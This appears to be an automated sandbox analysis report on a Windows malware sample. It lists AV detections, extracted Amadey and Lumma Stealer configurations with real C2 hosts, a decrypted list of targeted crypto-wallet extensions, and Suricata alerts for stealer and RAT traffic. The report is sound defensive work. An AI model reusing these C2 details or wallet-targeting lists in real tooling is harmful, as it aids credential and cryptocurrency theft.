Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Avira: detection malicious, Label: HEUR/AGEN.1323342
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	Avira: detection malicious, Label: TR/ATRAPS.Gen
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Bridgecontainerserver\VBxKsR3W5qREBSxxvIt5VpzoFdFFANtbsRk6NDfKSHeOxN7UsJds5Ck.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen

Found malware configuration

Source: 00000002.00000002.1626103997.0000000000971000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 26624fe56e.exe.3648.11.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["debonairnukk.xyz", "awake-weaves.cyou", "effecterectz.xyz", "deafeninggeh.biz", "wrathful-jammy.cyou", "shineugler.biz", "immureprech.biz", "diffuculttan.xyz", "sordid-snaked.cyou"], "Build id": "rAGxSF--Support"}

Multi AV Scanner detection for dropped file

Source: C:\Bridgecontainerserver\BrokerhostNet.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Temp\1016097001\ffce2e0a66.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1016098001\76b7b2c16d.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	ReversingLabs: Detection: 57%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\AdKFKFnN.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\AymfKYeB.log	ReversingLabs: Detection: 29%
Source: C:\Users\user\Desktop\KhFvuBjj.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\QIbCILuV.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\TpmKebIc.log	ReversingLabs: Detection: 50%
Source: C:\Users\user\Desktop\UlZluYeg.log	ReversingLabs: Detection: 25%
Source: C:\Users\user\Desktop\boWaNnOy.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\vkhfhZiZ.log	ReversingLabs: Detection: 70%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\muNJF0r[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Joe Sandbox ML: detected
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1016092001\26624fe56e.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[2].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000010.00000002.2680511643.0000000013557000.00000004.00000800.00020000.00000000.sdmp	String decryptor: {"0":[],"2a025748-b498-4ae9-8f8c-b763dd8b5ffc":{"_0":"Smart","_1":"False","_2":"False","_3":"False"},"ff275d84-13f9-47b8-9de6-a3dfeab3ea1e":{"_0":"Builds"},"31395ecd-4eed-48b9-a47f-81dbcc84ccdf":{"_0":"True","_1":"nkbihfbeogaeaoehlefnkodbefgpgknn:MetaMask\nejbalbakoplchlghecdalmeeeajnimhm:MetaMask\nibnejdfjmmkpcnlpebklmnkoeoihofec:TronLink\nfnjhmkhhmkbjkkabndcnnogagogbneec:Ronin\nkjmoohlgokccodicjjfebfomlbljgfhk:Ronin\nfhbohimaelbohpjbbldcngcnapndodjp:BinanceChain\nbfnaelmomeimhlpmgjnjophhpkkoljpa:Phantom\nnphplpgoakhhjchkkhmiggakijnkhfnd:TONWeb\nffnbelfdoeiohenkjibnmadjiehjhajb:Yoroi\nakoiaibnepcedcplijmiamnaigbepmcb:Yoroi\nafbcbjpbpfadlkmhmclhkeeodmamcflc:MathWallet\nhnfanknocfeofbddgcijnmhnfnkdnaad:Coinbase\nimloifkgjagghnncjkhggdhalmcnfklk:TrezorPM\nilgcnhelpchnceeipipijaljkblbcobl:GAuth\noeljdldpnmdbchonielidgobddffflal:EOS\ncjelfplplebdjjenllpjcblmjkfcffne:JaxxLiberty\nlgmpcpglpngdoalbgeoldeajfclnhafa:SafePal\naholpfdialjgjfhomihkjbmgjidlcdno:Exodus","_2":"All Users","_3":"True"}}
Source: 00000010.00000002.2680511643.0000000013557000.00000004.00000800.00020000.00000000.sdmp	String decryptor: ["bj0UKX3O1fsx9BYPGXoKHqjvLayVva1jN63FIaBpzhY4ZE1D43om8NOuAFJtihcbnIkDHSHpW8UjRpWHjvb2vPk9sIFCRRHSF7QQdy5lw8PA2odUtBKwGkpYhlU9MEYF","DCR_MUTEX-jYA8BnJN4l5GER9R0Xjc","0","","","5","2","WyIyIiwie1NZU1RFTURSSVZFfS9Vc2Vycy97VVNFUk5BTUV9L0FwcERhdGEvTG9jYWwvVGVtcC8iLCI1Il0=","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.177.250:443 -> 192.168.2.8:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49804 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49817 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49823 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49908 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49939 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49969 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.8:50038 version: TLS 1.2

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: muNJF0r.exe, 00000009.00000003.2226055818.0000000006A74000.00000004.00000020.00020000.00000000.sdmp, muNJF0r.exe, 00000009.00000002.2230530790.0000000000BD3000.00000002.00000001.01000000.00000009.sdmp, muNJF0r.exe, 00000009.00000000.2224183663.0000000000BD3000.00000002.00000001.01000000.00000009.sdmp, muNJF0r.exe, 00000009.00000003.2226609838.0000000007387000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\3j5gfw0f\3j5gfw0f.pdb source: BrokerhostNet.exe, 00000010.00000002.2629571688.000000000392E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\zoeo0c42\zoeo0c42.pdb source: BrokerhostNet.exe, 00000010.00000002.2629571688.000000000392E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 8C:\Users\user\AppData\Local\Temp\vwuajvyx\vwuajvyx.pdb source: BrokerhostNet.exe, 00000010.00000002.2629571688.000000000392E000.00000004.00000800.00020000.00000000.sdmp

Spreading

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: number of queries: 1005

Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BAA69B FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	9_2_00BAA69B
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BBC220 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	9_2_00BBC220
Source: C:\Users\user\AppData\Local\Temp\1016072001\muNJF0r.exe	Code function: 9_2_00BCB348 FindFirstFileExA,	9_2_00BCB348

Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File opened: C:\Users\user
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File opened: C:\Users\user\AppData
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File opened: C:\Users\user\Desktop\desktop.ini
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Bridgecontainerserver\BrokerhostNet.exe	File opened: C:\Users\user\Documents\desktop.ini

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: chrome.exe

Memory has grown: Private usage: 0MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:49709 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:49710
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49718 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49740 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49764 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49763 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.8:49344 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49771 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49778 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49784 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49797 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49789 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:49795 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.8:49795 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.8:49795
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.8:49795 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.8:49795
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49804 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.8:49795 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49809 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49817 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49823 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49840 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49815 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49859 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.8:49860 -> 172.67.220.198:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49911 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49908 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49939 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2057945 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.8:59370 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057983 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz) : 192.168.2.8:59370 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057949 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.8:51095 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057981 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz) : 192.168.2.8:51095 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49950 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057929 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.8:61766 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057979 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz) : 192.168.2.8:61766 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057925 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.8:50643 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057973 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz) : 192.168.2.8:50643 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057927 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.8:55292 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057975 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz) : 192.168.2.8:55292 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057943 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.8:62268 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057971 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz) : 192.168.2.8:62268 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057935 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.8:50824 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057969 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz) : 192.168.2.8:50824 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49969 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2057931 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.8:60673 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057977 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz) : 192.168.2.8:60673 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:49991 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:49999 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50006 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50038 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:50046
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:50077 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:50109 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:50125 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.8:50151 -> 141.8.192.141:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:50158 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.8:50167 -> 141.8.192.141:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.8:50676 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:50756 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.8:58525 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.8:50640 -> 141.8.192.141:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50755 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50764 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:50753 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50774 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.8:50736
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50759 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50778 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:50746 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:50770 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.8:50763 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50747 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.8:50809 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50769 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.8:50744 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49771 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49771 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49804 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49741 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49741 -> 172.67.177.250:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49763 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49763 -> 172.67.164.37:443
